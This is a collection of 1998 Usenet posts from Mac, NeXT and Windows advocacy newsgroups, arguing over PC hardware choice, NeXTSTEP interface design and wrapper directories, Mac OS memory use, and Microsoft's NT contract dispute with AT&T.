> In article <6nc3d4$aqu$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > Which destroys the "PCs have more choices" argument.
> >
> > > Which destroys the "PCs can use SCSI, too" argument.
> >
> > I've seen some hyperbolic advocacy before, but this is silly. Of
> > course PCs have more choices. There are half a dozen fine SCSI
>
> Sure, PCs have more choices. But the Wintel advocates here keep coming
> back to the same few parts.
>
> In the post you trimmed, the person said you should never use anything but
> Soundblaster for sound and Adaptec for SCSI.
That's not what he (John Jensen) said. Its what YOU interpreted. Here is
what he said:
"It is safer to go with popular, respected, components in each category
... Adaptec for the SCSI (and not a brand-new model) and SoundBlaster for
the sound."
How exactly does that translate into "never use anything but Soundblaster
and Adaptec?"
Besides, maybe John wants to play it "safe," but that hardly means that the
"PC's have more choices" argument is "destroyed." Unless you believe that
MY choices are now limited based on John's opinion. Based on the posts of
yours that I've read, I doubt that you would make that kind of argument.
Paul
The contents of this message express only the sender's opinion.
This message does not necessarily reflect the policy or views of
my employer, Merck & Co., Inc. All responsibility for the statements
made in this Usenet posting resides solely and completely with the
sender.
From: dfs@doe.carleton.ca (David F. Skoll)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: 1 Jul 1998 17:12:00 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6ndql0$a7u$4@bertrand.ccs.carleton.ca>
In article <3599df70.1369774@hydra>, Identity Withheld
(brother@trinity.mensa.net) wrote:
> >I believe their suit claims that Microsoft is not delivering things it
> >should have. They may have a "license" to the code, but do they have
> >the code itself?
> Not only do they have the source code, they have a version of NT they
> built and market that runs as a service on Unix.
AT&T claims Microsoft has not delivered something it agreed to deliver.
I can't comment on this; presumably, neither can you unless you have
inside information.
> >> I doubt Unix will ever go away; it is an excellent OS. It's mature,
> >> well-known and understood and very stable. NT is getting there.
> >But UNIX is ahead and is staying ahead. Why switch to something
> >which 10 years from now will be where UNIX was 10 years ago?
> >Totally irrational.
> <shrug> Why buy a 1998 TV?
A 1998 TV is substantially the same as a 1992 TV. I'd only buy a
new TV if my old one dies.
> Or car?
Buying a new car really *is* irrational. It's a financial blunder
of the largest proportion. I'm glad others buy new cars so I can
buy used. :-)
> Or anything new?
It's worth buying new things *if* they're better than the old things.
It's irrational to buy a new OS which is (a) not as good as the "old"
OS, (b) proprietary and (c) being 80% rewritten with attendant delays,
foul-ups and bug introductions.
--
David F. Skoll
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New OS Graphics Idea
Date: 1 Jul 1998 18:03:24 GMT
Organization: Cygnus Solutions
Message-ID: <6ndtlc$gs3$3@cronkite.cygnus.com>
References: <1dbgbrs.fq93gp1gfaaubN@quern.demon.co.uk> <1998070117211600.NAA21713@ladder03.news.aol.com>
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Cc: willadams@aol.com
In <1998070117211600.NAA21713@ladder03.news.aol.com> WillAdams wrote:
> I don't know about on-line, but the book _Tog on Software Design_ goes on
at
> length and at great detail about the interface concepts which were
developed
> for the film _Starfire_
>
> Interestingly, one of the concepts espoused in the book, files as
containers,
> is to a certain extent implemented after a fashion in the NeXT OS as
bundles--I
> find it very convenient that Virtuoso files are actually directories into
which
> I can stuff any files I want the document.vrt to have access to.
>
> Unfortunately, it's merely a convenience thing, but it is a step in the
right
> direction. Hopefully we'll see more document centric concepts for OSs in
the
> near future. I really miss HP's NewWave.
>
> William
>
>
I've proposed a few times the NeXTstep wrapper concept (of which
applications, packages, bundles, and nibs are examples) be generalized so
that you can have arbitrary wrappers.
My specific suggestion was to have any directory that contains a ".wrapper"
file be treated as a single object/file by the GUI. The .wrapper file would
then contain meta-information (akin to the headers in the mach-o file
format.. you could have a line like "ICON=blah.tiff", where blah.tiff is a
file under that directory.
If it was generalized propperly, you could do a lot of really cool things.
The drawback to my specific suggestion is that the GUI has to open the
directory to find out if it is a folder or a wrapper. That means an extra
file system operation for every directory in your current directory, and that
can get cumbersome. The current mechanism in Nextstep gets around that by
having the directory name indicate it is one of a few pre-defined wrapper
types, but I don't know if there's a way to extend the mapping of file
extensions to say "that extension is not just a file type, but a wrapper" and
all of that.
One way to do it would be to preserve the file name extensions, but have a
couple cases:
1) if it's a file, then it is a file of that format and should be handled
appropriately
2) if it's a directory, and it is a predefined extension (.app, .pkg, .nib,
etc), then the GUI and OS know how to handle it, and no .wrapper file is
necessary
3) if its a directory, and the file name extension of the directory doesn't
match a known one, and it has a .wrapper file, then operations on that
directory are handed off to a program similar to "open", that examines the
directory, the directory's .wrapper file, and some preference/resource
options set by the user. If no .wrapper file exists, it is a plain folder
and treated as a plain folder.
example:
I have a file blah.tiff, and a directory bleh.tiff, and another directory
blech.tiff.
blah.tiff is a tiff file. If I double click on it, the GUI knows to hand it
off to a file that opens .tiff files.
bleh.tiff contains the following files:
.wrapper
bleh-16x16.tiff
bleh-32x32.tiff
bleh-48x48.tiff
The .wrapper file and my personal preference settings or .rc files are set up
such that if you try to "open" bleh.tiff, it figures out which icon size I'm
currently set up for, and opens the right one. Similarly, when you go to
save to bleh.tiff, after you write and close the appropriate file for that
resolution, it could then be set up to use something like pbmtools to
re-scale that image to the other resolutions (so that they are all
up-to-date).
blech.tiff is exactly like bleh.tiff, except it has no .wrapper file. It is
thus a folder, and "open" opens the folder without doing anything fancy in
the background.
If I ever get enough free time to start writing an object oriented gui, it
will include something like that. :-}
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Wed, 01 Jul 1998 14:09:30 -0500
Organization: Ericsson North America Inc.
Message-ID: <359A896A.3805E57E@exu.ericsson.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net> <6nda93$ln8$10@ns3.vrx.net>
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Maury Markowitz wrote:
> Well, it's actually not at all the same way. Resources freeze setup
> scripts, niobs freeze objects, and via the runtime, effectively freeze
> messages. Unlike under MacOS where you have to decode all inbound messages
> and then dispatch them via some huge case statement, objects in nibs simply
> call their work methods directly with no "events". Hard to describe until
> you use it, but it simplifies a complex project enormously.
Are you trying to say that objects are allowed to dispatch their own
events?
> Well again, that's not entirely true. While OpenStep certainly doesn't
> have a visual logic system, the objects are so powerful that in many cases
> you can indeed call functionality directly from the interface objects, or
> more often, write simple wrapper code that turns this into an "action".
It sounds like you're describing a callback mechanism.
MJP
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Sun, 28 Jun 1998 21:26:12 -0700
Organization: Trilithon Research and Trading
Message-ID: <35971764.6CDEB368@trilithon.com>
References: <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu> <6n1pae$apc$2@bertrand.ccs.carleton.ca> <atlauren-2706981347120001@192.168.1.1> <35a6e1b3.52614555@news.supernews.com> <atlauren-2806981752260001@192.168.1.1>
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Andrew Laurence wrote:
* Recommend you take a refresher course in comprehension of
* sarcasm. Kurt Vonnegut is an excellent starting point.
Apart from Player Piano, didn't he also do the one about
"The Horse is Dead"?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: 2 Jul 1998 03:42:42 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nevji$i0v@newsb.netnews.att.com>
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra>
Originator: gupta@tlctest
Identity Withheld <brother@trinity.mensa.net> wrote:
>
>I keep reading right in these newsgroups about one superiority of Unix
>being the source code is there. So AT&T has the source code and is now
>bitching about... what? Seems you haven't read the case synposis,
>meaning you're posting only because it's something that's anti-MS.
http://www.infoworld.com/cgi-bin/displayStory.pl?980629.ehsuit.htm
AT&T claims that Microsoft reneged on a 1994 deal to provide
current and future versions of NT source code.
-akg
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 2 Jul 1998 03:50:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nf02s$i5m@newsb.netnews.att.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <3599AE58.5E54D75E@nstar.net> <6ne2sp$ev7$1@nnrp3.snfc21.pbi.net> <359AAD53.CCA85DF@exu.ericsson.se>
Originator: gupta@tlctest
Michael Peck <eusmpec@exu.ericsson.se> wrote:
>William Edward Woody wrote:
>>
>> Not all PCs have slots. And some lower-end PCs have slots, but all of
>> the slots are populated.
>
>I'm not sure why you bothered to mention this last. Slots still mean
>expandability.
Not on an Intel machine, if IRQs are maxxed out.
This is a real problem, as several reviewers in PC magazines
have recently pointed out.
-arun gupta
From: Jeff Read <bitwize@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Wed, 01 Jul 1998 23:53:44 +0000
Organization: Not really
Message-ID: <359ACC08.40CD0DD8@geocities.com>
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <joe.ragosta-0107981511100001@wil51.dol.net> <ericb-0107981952190001@128.84.203.149>
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Eric Bennett wrote:
> AT&T says MS has not released NT source that should be released to AT&T
> under the terms of its contract with MS. MS says it has complied with the
> contract.
MS says it's complied with the terms of every contract it makes and then
breaks! They alkso say NT is POSIX compliant and Internet Explorer is
Java 1.1 compliant.....
--
----------------------------------------------------------------------
Jeff Read <bitwize@geocities.com>/ http://genpc.home.ml.org
Unix / Linux / Windows Hacker, / Boycott Microsoft!
Anime & Sonic Fan, / Use Linux/GNU!
All Around Nice Guy / Let's keep the Net and the Land FREE!
----------------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: newby questions (WARNING!! Dumb mac user on board :P )
Date: Wed, 01 Jul 1998 21:01:44 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-0107982101440001@sdn-ar-001casbarp289.dialsprint.net>
1) Does rdr2 BLUE BOX support serial? I downloaded the serial driver from
apple (the machine already had a serial driver, but in
/etc/startup/0300_Devices the line the directions said to put WAS NOT in
their), read the directions, put the dir where the directions said to put
it (I replaced the exact same named dir that was already their), edited
/etc/startup/0300_Devices like it said (the line it said to add WAS NOT
their, restarted, went to the blue box, and zterm had a fit. Serial was
most definitely not working :( I couldnt test it in rhapsody cause I have
no way of getting files to it, save the brilliant suggestion someone gave
of opening a app in a word processor, copying it, then pasting it in
rhapsody.
2) is their a file somewhere for how to get ftp to ftp to the blue box
when you arent on a network? I set the ip of rhapsody to manual
(192.168.1.1) and turned on open transport in the blue box and set its ip
manual to 192.168.1.2 yet neither work. When I open up anarchy it
immediately quits because it says it doesnt have enough resource (I assume
network resources, NOTHING to do with memory) and when I try to ftp from
rhapsody using terminal it says no route to host.
3) if I do end up getting serial to work on the blue box, will I be able
to use ot ppp on the blue box?
4) How do I get multibooter to work? I couldnt find it already installed
on rhapsody, It says it is a control panel yet I see no control panels in
rhapsody's system folder, and when I open multibooter.app that I
downloaded from apple in a word processor, copy it, then paste it to a
blank file in rhapsody and rename it *.app, it has the app icon but when I
try to open it it says the file is damaged?
--
So many pedestrians, so little time.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 29 Jun 1998 14:50:13 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6n89j5$a9h$1@news.cs.tu-berlin.de>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com> <3595368A.CA0E6322@nstar.net> <
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Michael Peck <mjpeck@nstar.net> writes:
>I never blasted NS for being window-centric. I blasted it for its poor
>implementation, whatever it was.
"Whatever it was." I'll just leave that as it is. Are you a dadaist?
>Are you actually reading this, or is this just a fast scanning blur to you?
Most of your last couple of posts doesn't make sense either way.
>> >This is one of the traits that puts a document-centric/window-centric
>> >bias on NEXTSTEP by comparison to MacOS.
>>
>> Yes, the whole system is capable of acting in a more document-centric
>> fashion if that is desirable. Most people consider this a good thing (TM).
>I haven't seen the case for this; I don't know where you are basing
>these claims.
>> >It's puzzling to me how you can actually type out five sentences on
>> >"modal dialogs" in response to a paragraph that never even mentioned
>> >"modal dialogs". In fact, I didn't mention "modal dialogs" in my whole
>> >posting, nor have I done so in several months. Yet you managed to worm
>> >"modal dialogs" into what I was saying, completely ignoring everything
>> >else in the paragraph.
>>
>> I am not surprised that you are puzzled. Your original point of
>> 'the app not being in control' was such a non-starter as a criticism
>> of the NS/OS user interface that I decided on a somewhat more interesting
>> point that seemed implicit in your comments.
>I figured you'd excuse irrelevant debate with leaps of logic. Here comes
>the inevitable insult to your co-debator's intelligence.
Oh, poor you! If you can't stand the ad-hominems, don't start them!!
Anyway, if you had actually read my comments instead of just trying
to figure out how to sneak in more ad hominems, you'd have seen
that modality and clutter have a certain relationship, and therefore
wanting to reduce one will typically have an effect on the other.
>> 1. The app has the same power of control as on MacOS, except for
>> issues of locking up the entire machine using a dialog box etc.
>As I've already said, "locking up the entire machine" has nothing to do
>with interface. But I suppose you read that into my remarks, as well.
Nope, that was just a point about modals on the Macintosh. My point,
again, is that the app has control in NS as well.
>> 2. The NS/OS way of having inspectors, tear-off menus and other
>> 'floating' user interface elements is a result of a non-modal
>> approach to user interface design. This can lead to the clutter
>> that you so detest.
>It *can*, and it does, in the case of NS. It doesn't have to, but that's
>where NEXTSTEP's incomplete design falls down.
Repeating a claim over and over does not constitute proof.
[approach to providing 'global' inspectors that are independent
of individual apps]
This is an interesting extension of the current NS system. How
you can blast NS when it is closer to this than most other systems
I don't quite understand. Or are you saying that NS is horrible,
but the other systems are even worse? Now that I could agree
with.
A couple of observations:
1. The proposal does not decrease window clutter compared to NS.
In NS/OS/Rhap. inspector panels are specific to one application
and disappear when that application is deactivated.
So while you may have lots of font-inspectors open, you will
only see *one* at a time. Same for the color-panel etc.
2. In fact, your proposal *increases* clutter because the global
nature of inspectors means that you always have the sum of
all individual app inspectors open. Example: In Edit, I
have the font-panel open, whereas in Draw I have the color
panel open. With your approach, both panels would be open
no matter which app is active, even if I deactivate both
and switch to the workspace. Currently, only the current
app's panels are visible.
3. Except for very few cases, insepectors tend to be highly
application specific. Until we have true roaming objects,
such a general scheme does not make sense. Do I need
Create's blend-inspector open while writing code in
ProjectBuilder?
>> 3. The Mac solution to this 'clutter' has usually been to put up
>> 'dialogs' (you mentioned them) under application control. The
>> user fills out the dialog and the program then puts the dialog
>> away. These dialogs are almost always modal.
>> Since the Virtuoso port to the Mac (Freehand 4.0 or 5.0), Mac
>> Apps have started to sport more palettes.
[description of Photoshop palettes/inspectors]
I am almost certain that palettes started appearing in Mac apps after
Freehand cross-fertilized them from Virtuoso. I *know* about
Virtuoso and Freehand because I talked to the Altsys leadership team
when my then company was in negotiation with them about Virtuoso.
Anyway, you seem to be saying that Photoshop palettes are a good
thing. Is this correct? If yes, then how exactly do Photoshop
palettes differ from the ones of NS apps? How do Photoshop
palettes *not* produce clutter whereas NS palettes do?
Anyway, from my short explorations with Photoshop, most of
the UI still is modal, though I don't know how this is in
the newest versions.
>> >Read slower.
>>
>> Think faster :-)
>"Different", "faster", it's all a euphemism for the same thing: think
>like me.
1. Ach, that isn't even wrong!
2. Try not to project your own mental state onto other people.
3. Think faster means think faster. Try to figure it out.
4. You were complaining about the ad-hominems?
5. I am a somewhat disgruntled developer and reasonably
happy G3 customer. Where did you get the silly notion
that my encouragement to you to use your brain more
effectively so you make less of a fool of yourself
has anything to do with a somewhat strange Apple
ad campaign. Wow, you really *are* thinking different!
But back to technical things.
>> >And in the Dock. And on the root window, with Fiend. It acts different,
>> >depending on where it is. Anywhere else I'm missing?
>>
>> Well, yes, you *completely* missed it as far as I am concerned.
>>
>> In the dock, an active app is represented by the app tile, just
>> like it would be if it were not in the dock, so that is 100%
>> consistent. The only difference is that an inactive app is
>> also represented by an app-tile with the ellipsis. As this
>> is the only place inactive apps can appear on the desktop, it
>> is entirely consistent.
>What desktop? The Dock, the root window, the WorkSpace? What, exactly,
>is the desktop in NEXTSTEP?
That usuually dark gray area that Windows and tiles live in.
>> (In a file-browser, tiles do not exist).
>What are they? Just icons without a cute 3D border? When I see a little
Tiles are icons *on* a defined gray background and *with* 'cute'
3D border, all together looking like, er, a *tile*.
>picture of an ink pen with a little 'W' in the corner, what am I looking
>at? Nothing, I guess, unless I look for a border or its placement or an
>ellipsis or a grayed-out look. Or perhaps a clock...
>> Fiend is a separate application, it does things that are not
>> consistent with the rest of the UI.
>So why bring it up?
Good question. *YOU* brought it up and complained that it was
inconsistent. Good grief. Anyway, quite a few of your complaints
have to do with inconsistencies caused by Fiend.
>> >But *that* icon can't go into the Dock.
>>
>> It couldn't go in the dock because it represents an application
>> plus a document.
>It represents what? I thought the "running app tile" represented the
>application. So the document tile is a redundant representation of the
>running app as well as a representation of a window and a document, all
>at the same time?
No, it is the representation of a document in 'process space'. If
you can't understand that, I can't help you.
>In perfect seriousness, this is terrible.
Why? You keep stating how terrible everything is, but whenever you
give concrete reasons, it turns out to be a misunderstanding,
misconfiguration or other mishap.
[...]
>> >It wears a different decoration as a tile.
>> >It's the same shape, size, and general appearance as app
>> >tiles but serves a totally different windowing concept.
>>
>> It represents a slighly different concept (active document
>> vs. active application) so it has a slighly different representation.
>> Tiles have to do with 'things' living in 'process' space, normal
>> icons with 'things' living in the file-system.
>But when a tile is in the Dock, it represents a little of both. It's a
>file, yeah, but not present in that context. It's a process, yeah, but
>it's not necessarily running.
Yes, the representation in the dock is the 'process oriented' one
because you cannot do file manipulation in the dock, you can only
launch + manipulate processes there. What is it about this that
makes it so difficult for you?
[...]
>Keep smiling, it's the only thing that's working in this conversation.
:-)
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 29 Jun 1998 09:45:40 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6n7no4$p6j$2@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
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Cc: mjpeck@nstar.net
In <3594FE42.F137BD6B@nstar.net> Michael Peck claimed:
> What are the advantages of functional programming if you can't
> diagrammatically represent your logic, Maury? You think it's better to
> use a language-dependent representation that to draw the Post form of a
> conditional?
I think that wrapping system level functionality at that level is a dumb
idea. Ever tried to flowchart a modern program at the system level? Even
the most basic logic becomes unreadable. But that's not what flowcharts do,
they encapsulate much higher order functionalty - storing a file to a disk is
a single icon rather than a huge series of them - finding the path, opening
the file, writing, closing, etc.
That's the problem. The languages I've looked at to date always
encapsulate the wrong level - with the exception of AppWare that is. They
all have the discrete elements of the system as icons, meaning that you don't
have a "file store" icon, you have a huge collection of icons representing
each and ever system call. In many cases it ends up being far more
unreadable that a text version of the same thing.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 29 Jun 1998 09:52:37 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6n7o55$p6j$3@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de>
<6mtk5s$83h$2@ndnws01.ne.highway1.com> <6n81ne$9mp$1@sun27.hrz.tu-darmstadt.de>
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Cc: neuss.@informatik.th-darmstadt.de.nos-pam
In <6n81ne$9mp$1@sun27.hrz.tu-darmstadt.de> Christian Neuss claimed:
> Well, you may disrespect Brad Cox as well as the pope, but maybe
> you accept mathematical proof? Please see Goedel's theorem
Goedel's theorem has _nothing_ to say about the difficultly of writing a
program. The fact that OpenStep lets me do in one line what the Mac Toolbox
would require hundreds or thouands of lines does.
> Programming is inherently complex. The things you try to model are
> complex
No they are not, in most cases they are trivially simple and can be
described in a few words. However the computer languages we use typically
require hundreds to thousands of words in order to describe it. For
instance, what is the code required for "a train travelling between two
cities"? While a physicist may describe this in terms of power input vs.
drag in two lines, a simulation of the same thing with Simula 67 (for
example) would take about 25 to 50 lines of code.
More proof that the problem is the language and not the task can be seen
with HyperCard. While HC's problem domain was somewhat limited, people with
zerp programming experience or learning were able to construct real programs
with relative ease. This included just-post-operative children.
Maury
From: spanky@ralph.ripken.org (spanky)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Message-ID: <spanky-2906981053350001@usr36-dialup51.mix2.boston.mci.net>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <Pine.SOL.3.96.980629092532.28957A-100000@ux10.cso.uiuc.edu>
Organization: ralph ripken
Date: Mon, 29 Jun 1998 14:52:41 GMT
NNTP-Posting-Date: Mon, 29 Jun 1998 14:52:41 GMT
In article <Pine.SOL.3.96.980629092532.28957A-100000@ux10.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Sun, 28 Jun 1998, Steve Sullivan wrote:
>
>
> If you can quit all running applications, you will get all your memory
> back. The Finder allocates memory as it needs, but sometimes it can't
> allocate its memory all in one contiguous block. That means that there are
> bits of the Finder scattered about the memory map that don't get cleared
> until the Finder quits.
>
> Restarting is one option. Any one of dozens of Finder quitters would work.
> There is a program called Memory Mapper that will show you what
> applications are currently in memory and allow you to send quit events to
> them. Any of these should work just fine in restoring all your memory.
>
> Ryan Tokarek
> <tokarek@uiuc.edu>
> <http://www.ews.uiuc./edu/~tokarek>
You can also type Command-Option-Escape while in the Finder, just as you
would to force-quit any other application.
--
C. Iverson - North Market St. Graphics
no valid email given, no invalid spam received
"After all, I'm only sand to irritate the oyster, and to wait for a pearl."
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 02 Jul 1998 00:59:07 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359B21AB.E6A26F64@nstar.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com>
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NNTP-Posting-Date: 2 Jul 1998 06:04:15 GMT
Gregory H. Anderson wrote:
> The original article on CNNfn.com made QUITE clear that Dr. Mankiw
> attended the press conference at the behest of Microsoft:
>
> Another supporter called on by the software giant was Gregory
> Mankiw, professor of economics at Harvard University, who said the
> government's attempt to delay Windows 98 "would throw sand into the
> gears of human progress."
>
> So if he now contends he is NOT an advocate for Microsoft, then the only
> explanation for his remarks is that he stupidly allowed himself to be
> *used* by Microsoft. I hope he at least got some free software for it.
This is ridiculous. I'd go to any press conference for any company being
subjected to governmental abuse and speak out for free-market economics.
That doesn't make me a shill for anything but free-market economics.
Your quote above makes it quite clear what Dr. Mankiw's point was. I
don't know why you keep trying to read something else into it, except
that it makes for another convenient target for your Microsoft-phobia.
> BTW, we don't have an "unfettered market economy" in this country --
> we haven't since the late 1800s -- and Microsoft provides a compelling
> example of why this is a good thing.
Ugh, this just makes me sick. Everything I stand for as a member of the
human race runs contrary to this.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 02 Jul 1998 01:03:38 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359B22BA.3ABCA642@nstar.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359ADB11.899DF424@alum.mit.edu>
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NNTP-Posting-Date: 2 Jul 1998 06:08:46 GMT
Eric Hermanson wrote:
> Exactly. Unfettered, in my mind, means: no taxes, no regulations, no trade
> restrictions, no export restrictions, no copyright or trademark restrictions,
> etc. Mankiw is pipe-dreaming if he thinks that type of setup is possible,
> feasible, or useful.
Yeah, we all got your point long ago: you intend to be part of the
reason such a setup is impossible in this country.
MJP
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Wed, 01 Jul 1998 23:08:12 -0700
Organization: Trilithon Research and Trading
Message-ID: <359B23CC.8672B274@trilithon.com>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com>
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Gregory H. Anderson wrote:
<<<< Bunch of Stuff Snipped >>>>
* So if he now contends he is NOT an advocate for Microsoft,
* then the only explanation for his remarks is that he stupidly
* allowed himself to be *used* by Microsoft. I hope he at least
* got some free software for it.
I exchanged a brief communication with Professor Mankiw on this
issue, and he told me that his brief to the DOJ was written using
WordPerfect.
* BTW, we don't have an "unfettered market economy" in this
* country -- we haven't since the late 1800s -- and Microsoft
* provides a compelling example of why this is a good thing.
I'd be happy to discuss this with you off-line, Greg.
Best Regards,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 11:20:44 -0400
Organization: Manual Labor
Message-ID: <kindall-2906981120440001@nic-c10-177.mw.mediaone.net>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>
In article <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> I am not a programmer so I cant say this is a leak, but it is really
> annoying. Here is what about this computer says (note this is with NO
> APPS open)
>
> macos 8.1
> built in memory 64 mb
> virtualy memory 65.8
> largest unused block 28.1 mb
> macos 13.2 mb
>
> Now where is my other 25 megs of memory? Their are no apps open so please
> dont tell me its fragmented memory, unless you can explain how its
> fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
Keep in mind it says "Largest Unused Block." It does _not_ say "Total
Free Memory" because that's not what that number is intended to
represent. In essence it represents the largest application you can
launch right now. If that number's smaller than the amount of free RAM,
then yes, memory's fragmented.
If you launch a 28 MB program then you will find that your LUB is not .1
MB but some rather larger size -- it'll be the second largest block.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
MWJ, the Weekly Journal for Serious Mac Users http://www.gcsf.com
Date: Wed, 01 Jul 1998 23:22:06 -0700
From: c <court@nospam!intergate.bc.ca>
